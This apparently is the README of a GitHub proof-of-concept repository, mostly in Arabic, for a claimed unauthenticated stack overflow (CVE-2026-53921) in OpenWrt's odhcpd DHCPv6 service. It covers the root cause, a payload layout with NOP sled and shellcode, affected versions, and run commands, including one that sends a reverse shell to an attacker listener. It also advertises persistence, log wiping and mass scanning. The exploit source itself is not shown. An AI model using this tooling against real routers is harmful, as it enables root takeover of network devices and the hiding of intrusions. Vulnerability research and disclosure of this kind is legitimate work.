
CVE-2026-53921 – odhcpd Stack Overflow (CVSS 9.8) 🛡️ شرح تفصيلي وشامل للثغرة مع مُتحقِّق واستغلال متعدد لثغرة RCE في DHCPv6 الخاص بـ OpenWrt. تجاوز ثنائي المتجهات (IA_NA/IA_PD) مع شيلكود MIPS/ARM وسلاسل ROP ووكيل SOCKS5 واستمرارية ومسح السجلات ومسح واسع النطاق. استخدمه بأخلاقية، والتزم بالقانون. 🔒

- لأغراض التعليم والاختبار المصرح به فقط. الاستخدام غير المصرح به غير قانوني.**
CVE-2026-53921 هي ثغرة تجاوز سعة المخزن المؤقت على المكدس (stack buffer overflow) حرجة في خدمة odhcpd الخاصة بـ OpenWrt – خادم DHCPv6/DHCPv4/RA الافتراضي.
توجد الثغرة في كود معالجة رسائل DHCPv6 في odhcpd،
وتحديدًا في الدالتين build_ia() و dhcpv6_ia_handle_IAs().
يحدث الخطأ أثناء التسلسل (التجميع) لحزم رد DHCPv6.
عندما يستجيب odhcpd لطلبات العميل، فإنه يبني الرد
في مخزن مؤقت ثابت الحجم على المكدس بحجم 512 بايت دون
فحص صحيح للحدود.
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
يرسل المهاجم طلب DHCPv6 (أو Solicit) يحتوي على:
يستهلك كل خيار مساحة على المكدس أثناء بناء odhcpd لردّه. تتجاوز
البيانات المتراكمة 512 بايت، مما يسبب التجاوز.
المتجه المحفّز نقطة التجاوز
الموقع 1 5 خيارات IA_NA build_ia() لـ IA_NA
مع عناوين IPv6
build_ia() لـ IA_PDالسبب الجذري متطابق، لكن التجاوز يحدث في مسارات كود مختلفة، مما يجعل كلا المتجهين قابلين للاستغلال بالقدر نفسه.
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
يقوم المهاجم بالكتابة فوق عنوان العودة المحفوظ ليشير إلى شيفرته البرمجية (shellcode) في الذاكرة.
المتطلب الوصف
الوصول إلى الشبكة يجب أن يمتلك المهاجم اتصال IPv6 بالهدف
المصادقة لا شيء -- هجوم بدون مصادقة
الصلاحيات يعمل odhcpd بصلاحيات root، لذا
يمنح RCE سيطرة كاملة على النظام
في استغلال حقيقي، تُوضع شيفرة المهاجم البرمجية في حقول عناوين IPv6 الخاصة بـ IAAddress (16 بايت لكل IA_NA). تقوم الحزم المصممة بتجميع الشيفرة البرمجية، ومسار NOP، وعنوان العودة في هذه الحقول.
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
الإصدار الحالة RCE ممكن؟
odhcpd < e432dd6 معرّض [+] نعم OpenWrt < 24.10.8 معرّض [+] نعم OpenWrt < 25.12.5 معرّض [+] نعم OpenWrt 24.10.8+ مُصحّح [-] لا OpenWrt 25.12.5+ مُصحّح [-] لا odhcpd master + e432dd6 مُصحّح [-] لا
هذه الثغرة خطيرة بشكل خاص لأن:
odhcpd مُفعّل افتراضيًا في تثبيتات OpenWrt.| المكوّن | الإصدارات المعرّضة | تم الإصلاح في |
|---|---|---|
odhcpd (فرع master) | قبل الالتزام e432dd6 | e432dd6 أو أحدث |
| إصدارات OpenWrt | < 24.10.8 < 25.12.5 | 24.10.8 و 25.12.5 |
يوفر هذا المستودع سكربتين مستقلين:
| السكربت | الغرض | كود الاستغلال | الأمان |
|---|---|---|---|
verifier.py | فحص غير تدخّلي للثغرة | [-] لا | [+] آمن |
exploit.py | استغلال كامل مُسلّح | [+] نعم | [!] خطير |
verifier.py – فاحص الثغرةexploit.py – الاستغلال الكاملIA_NA (الموقع1) و IA_PD (الموقع2).git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| الوسيط | الوصف |
|---|---|
-u, --target | عنوان IPv6 الهدف (مطلوب) |
-i, --iface | واجهة الشبكة (الافتراضي: eth0) |
exploit.py